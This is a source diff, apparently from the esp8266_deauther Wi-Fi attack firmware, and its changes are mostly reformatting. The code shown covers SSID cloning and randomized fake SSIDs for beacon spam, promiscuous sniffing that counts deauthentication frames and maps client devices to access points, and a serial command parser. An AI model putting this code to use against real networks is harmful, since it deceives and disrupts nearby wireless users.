setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
// ====================== //
|
||||
}
|
||||
|
||||
void Neopixel::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void Neopixel::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool Neopixel::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
setColor(r, g, b, 100, true);
|
||||
}
|
||||
|
||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
||||
setColor(r, g, b, brightness, true);
|
||||
}
|
||||
|
||||
void Neopixel::update() {
|
||||
if (!tempEnabled) return;
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
||||
else setMode(LED_MODE_IDLE, false);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
21
esp8266_deauther/NeopixelLED.h
Normal file
21
esp8266_deauther/NeopixelLED.h
Normal file
@@ -0,0 +1,21 @@
|
||||
#ifndef NeopixelLED_H
|
||||
#define NeopixelLED_H
|
||||
|
||||
#include "StatusLED.h"
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
|
||||
class NeopixelLED : public StatusLED {
|
||||
public:
|
||||
NeopixelLED(int num, uint8_t dataPin, uint8_t brightness);
|
||||
~NeopixelLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
Adafruit_NeoPixel* strip;
|
||||
};
|
||||
|
||||
#endif // ifndef NeopixelLED_H
|
||||
@@ -23,6 +23,7 @@ void SSIDs::load() {
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
@@ -38,8 +39,10 @@ void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // "ssids":[
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
@@ -57,6 +60,7 @@ void SSIDs::save(bool force) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
@@ -85,6 +89,7 @@ void SSIDs::save(bool force) {
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
@@ -98,20 +103,17 @@ void SSIDs::update() {
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i))
|
||||
newSSID = list->get(i);
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
for (int i = 0; i < 32; i++)
|
||||
newSSID.name += char(random(32, 127));
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i))
|
||||
list->replace(i, newSSID);
|
||||
else
|
||||
list->add(newSSID);
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
@@ -134,6 +136,7 @@ int SSIDs::getLen(int num){
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
@@ -145,6 +148,7 @@ String SSIDs::getEncStr(int num) {
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
@@ -153,16 +157,19 @@ void SSIDs::remove(int num) {
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
if (i < 29 && rnd == 0) { // ZERO WIDTH SPACE
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if (i < 30 && rnd == 1) { // NO-BREAK SPACE
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
@@ -188,6 +195,7 @@ void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
internal_add(name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
@@ -199,13 +207,14 @@ void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if(accesspoints.getSelected(i))
|
||||
add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -218,8 +227,8 @@ void SSIDs::replace(int num, String name, bool wpa2){
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
if(len > 32)
|
||||
len = 32;
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
@@ -237,6 +246,7 @@ void SSIDs::print(int num) {
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
@@ -252,11 +262,10 @@ void SSIDs::print(int num, bool header, bool footer) {
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
if (c == 0)
|
||||
prntln(SS_ERROR_EMPTY);
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++)
|
||||
print(i, i == 0, i == c - 1);
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
@@ -305,6 +314,3 @@ void SSIDs::internal_remove(int num) {
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <ArduinoJson.h>
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
@@ -59,6 +59,7 @@ class SSIDs {
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
@@ -83,7 +84,4 @@ class SSIDs {
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef SSIDs_h
|
||||
@@ -11,13 +11,13 @@ void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
if (buf[12] == 0xc0 || buf[12] == 0xa0) {
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if (buf[12] == 0x80 || buf[12] == 0x40 || buf[12] == 0x50/* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
@@ -25,13 +25,16 @@ void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || macMulticast(macFrom)) return;
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
@@ -49,7 +52,8 @@ void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel) {
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel);
|
||||
@@ -62,12 +66,13 @@ void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continu
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
if(sniffTime > 0 && sniffTime < 1000) sniffTime = 1000;
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* AP Scan */
|
||||
if (mode == SCAN_MODE_APS || mode == SCAN_MODE_ALL) {
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
@@ -86,8 +91,10 @@ void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continu
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
@@ -104,6 +111,7 @@ void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continu
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
@@ -117,9 +125,11 @@ void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continu
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings.getWebInterface()) resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
@@ -150,6 +160,7 @@ void Scan::update() {
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
@@ -159,6 +170,7 @@ void Scan::update() {
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
@@ -169,22 +181,25 @@ void Scan::update() {
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if(channelHop && currentTime - snifferChannelTime > settings.getChTime()) {
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if (scanMode == SCAN_MODE_APS || scanMode == SCAN_MODE_ALL) {
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if(channelHop || WiFi.channel(i) == wifi_channel) accesspoints.add(i, false);
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
@@ -194,8 +209,9 @@ void Scan::update() {
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if (sniffTime > 0 && currentTime > snifferStartTime + sniffTime) {
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
@@ -225,8 +241,10 @@ void Scan::setChannel(uint8_t ch) {
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > settings.getMaxCh()) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
@@ -236,11 +254,13 @@ void Scan::nextChannel() {
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
@@ -250,7 +270,8 @@ void Scan::save(bool force) {
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
@@ -262,7 +283,8 @@ void Scan::save(bool force) {
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + String(COMMA); // ["ssid",
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
@@ -270,6 +292,7 @@ void Scan::save(bool force) {
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
@@ -284,11 +307,13 @@ void Scan::save(bool force) {
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
@@ -296,6 +321,7 @@ void Scan::save(bool force) {
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
@@ -324,11 +350,11 @@ void Scan::save(bool force) {
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return (accesspoints.selected() + stations.selected() + names.selected());
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return (accesspoints.count() + stations.count() + names.count());
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
@@ -341,6 +367,7 @@ bool Scan::isSniffing() {
|
||||
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
@@ -372,7 +399,9 @@ void Scan::printSelected() {
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
@@ -385,6 +414,7 @@ double Scan::getScaleFactor(uint8_t height){
|
||||
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
@@ -394,5 +424,3 @@ uint32_t Scan::getMaxPacket(){
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -39,7 +39,8 @@ class Scan {
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
@@ -69,6 +70,7 @@ class Scan {
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
@@ -93,7 +95,4 @@ class Scan {
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef Scan_h
|
||||
@@ -4,10 +4,13 @@
|
||||
A short introduction for the reader:
|
||||
This class is a huuuuuuuge mess of if statements!!!!!1!eleven
|
||||
But it works and I tried to make it as compact as possible.
|
||||
If someone was able to make an Arduino framework for parsing an input string in different commands with certain rules,
|
||||
required- and optional parameters of different datatypes to run different callback functions... shoot me a quick message on GitHub or Twitter: @spacehuhn!
|
||||
If someone was able to make an Arduino framework for parsing an input string in different commands with certain
|
||||
rules,
|
||||
required- and optional parameters of different datatypes to run different callback functions... shoot me a quick
|
||||
message on GitHub or Twitter: @spacehuhn!
|
||||
PS: the framework has to be good in both CPU performance and RAM usage, otherwise it's useless. Good luck!
|
||||
I already wasted way too much time trying to come up with the best way of programming this, so I will just keep it that way for now.
|
||||
I already wasted way too much time trying to come up with the best way of programming this, so I will just keep it
|
||||
that way for now.
|
||||
Also: NEVER CHANGE A RUNNING SYSTEM!
|
||||
*/
|
||||
|
||||
@@ -47,29 +50,28 @@ void SerialInterface::parameterError(String parameter) {
|
||||
}
|
||||
|
||||
bool SerialInterface::isInt(String str) {
|
||||
if (eqls(str,STR_TRUE) || eqls(str,STR_FALSE))
|
||||
return true;
|
||||
if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true;
|
||||
|
||||
for (uint32_t i = 0; i < str.length(); i++)
|
||||
if (!isDigit(str.charAt(i))) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int SerialInterface::toInt(String str) {
|
||||
if (eqls(str,STR_TRUE))
|
||||
return 1;
|
||||
else if (eqls(str,STR_FALSE))
|
||||
return 0;
|
||||
else
|
||||
return str.toInt();
|
||||
if (eqls(str, STR_TRUE)) return 1;
|
||||
else if (eqls(str, STR_FALSE)) return 0;
|
||||
else return str.toInt();
|
||||
}
|
||||
|
||||
uint32_t SerialInterface::getTime(String time) {
|
||||
int value = time.toInt();
|
||||
|
||||
if (value < 0) value = -value;
|
||||
if (time.substring(time.length() - 1).equalsIgnoreCase(String(S)))
|
||||
value *= 1000;
|
||||
else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || time.charAt(time.length() - 1) == M)
|
||||
value *= 60000;
|
||||
|
||||
if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000;
|
||||
else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) ||
|
||||
(time.charAt(time.length() - 1) == M)) value *= 60000;
|
||||
return value;
|
||||
}
|
||||
|
||||
@@ -90,16 +92,18 @@ void SerialInterface::stopScript() {
|
||||
|
||||
void SerialInterface::update() {
|
||||
if (executing) {
|
||||
if (execPath.charAt(0) != SLASH)
|
||||
execPath = SLASH + execPath;
|
||||
if (execPath.charAt(0) != SLASH) execPath = SLASH + execPath;
|
||||
prnt(CLI_EXECUTING);
|
||||
prntln(execPath);
|
||||
File f = SPIFFS.open(execPath, "r");
|
||||
|
||||
if (f.size() > 0) {
|
||||
String line;
|
||||
char tmp;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if (tmp == NEWLINE) {
|
||||
runCommands(line);
|
||||
line = String();
|
||||
@@ -118,11 +122,10 @@ void SerialInterface::update() {
|
||||
|
||||
loopTime = currentTime;
|
||||
} else {
|
||||
if (enabled && Serial.available() > 0)
|
||||
runCommands(Serial.readStringUntil(NEWLINE));
|
||||
if (enabled && (Serial.available() > 0)) runCommands(Serial.readStringUntil(NEWLINE));
|
||||
|
||||
if (continuously) {
|
||||
if (currentTime - loopTime > continueTime)
|
||||
executing = true;
|
||||
if (currentTime - loopTime > continueTime) executing = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -132,7 +135,8 @@ void SerialInterface::runCommands(String input) {
|
||||
|
||||
for (uint32_t i = 0; i < input.length(); i++) {
|
||||
// when 2 semicolons in a row without a backslash escaping the first
|
||||
if (input.charAt(i) == SEMICOLON && input.charAt(i + 1) == SEMICOLON && input.charAt(i - 1) != BACKSLASH) {
|
||||
if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) &&
|
||||
(input.charAt(i - 1) != BACKSLASH)) {
|
||||
runCommand(tmp);
|
||||
tmp = String();
|
||||
i++;
|
||||
@@ -142,6 +146,7 @@ void SerialInterface::runCommands(String input) {
|
||||
}
|
||||
|
||||
tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON);
|
||||
|
||||
if (tmp.length() > 0) runCommand(tmp);
|
||||
}
|
||||
|
||||
@@ -156,16 +161,17 @@ void SerialInterface::runCommand(String input) {
|
||||
bool withinQuotes = false;
|
||||
bool escaped = false;
|
||||
char c;
|
||||
|
||||
for (uint32_t i = 0; i < input.length() && i < 512; i++) {
|
||||
c = input.charAt(i);
|
||||
|
||||
// when char is an unescaped
|
||||
if(!escaped && c == BACKSLASH){
|
||||
if (!escaped && (c == BACKSLASH)) {
|
||||
escaped = true;
|
||||
}
|
||||
|
||||
// (when char is a unescaped space AND it's not within quotes) OR char is \r or \n
|
||||
else if ((c == SPACE && !escaped && !withinQuotes) || c == CARRIAGERETURN || c == NEWLINE) {
|
||||
else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) {
|
||||
// when tmp string isn't empty, add it to the list
|
||||
if (tmp.length() > 0) {
|
||||
list->add(tmp);
|
||||
@@ -174,10 +180,12 @@ void SerialInterface::runCommand(String input) {
|
||||
}
|
||||
|
||||
// when char is an unescaped "
|
||||
else if(c == DOUBLEQUOTES && !escaped){
|
||||
else if ((c == DOUBLEQUOTES) && !escaped) {
|
||||
// update wheter or not the following chars are within quotes or not
|
||||
withinQuotes = !withinQuotes;
|
||||
if(tmp.length() == 0 && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add a space
|
||||
|
||||
if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add
|
||||
// a space
|
||||
}
|
||||
|
||||
